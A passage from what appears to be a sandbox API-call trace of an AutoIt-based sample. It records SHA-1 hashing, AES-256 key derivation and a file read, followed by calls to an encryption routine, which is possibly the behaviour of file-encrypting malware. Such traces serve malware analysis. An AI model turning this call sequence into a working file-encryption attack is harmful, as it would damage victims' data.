[0029.837] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.837] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.837] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.837] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.837] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.838] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.838] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.838] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.838] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.838] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.838] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.838] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.838] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.839] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.839] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.839] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.839] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.839] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.839] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.839] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.839] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.839] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.839] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.840] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b2d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.840] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.840] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.840] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.840] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.840] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.840] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.840] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.842] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.842] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4325, lpOverlapped=0x0) returned 1 [0029.843] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.844] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.844] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.844] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.844] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.844] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.844] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.844] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.844] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.845] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.845] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.845] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064c20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.845] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.845] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.845] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.845] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 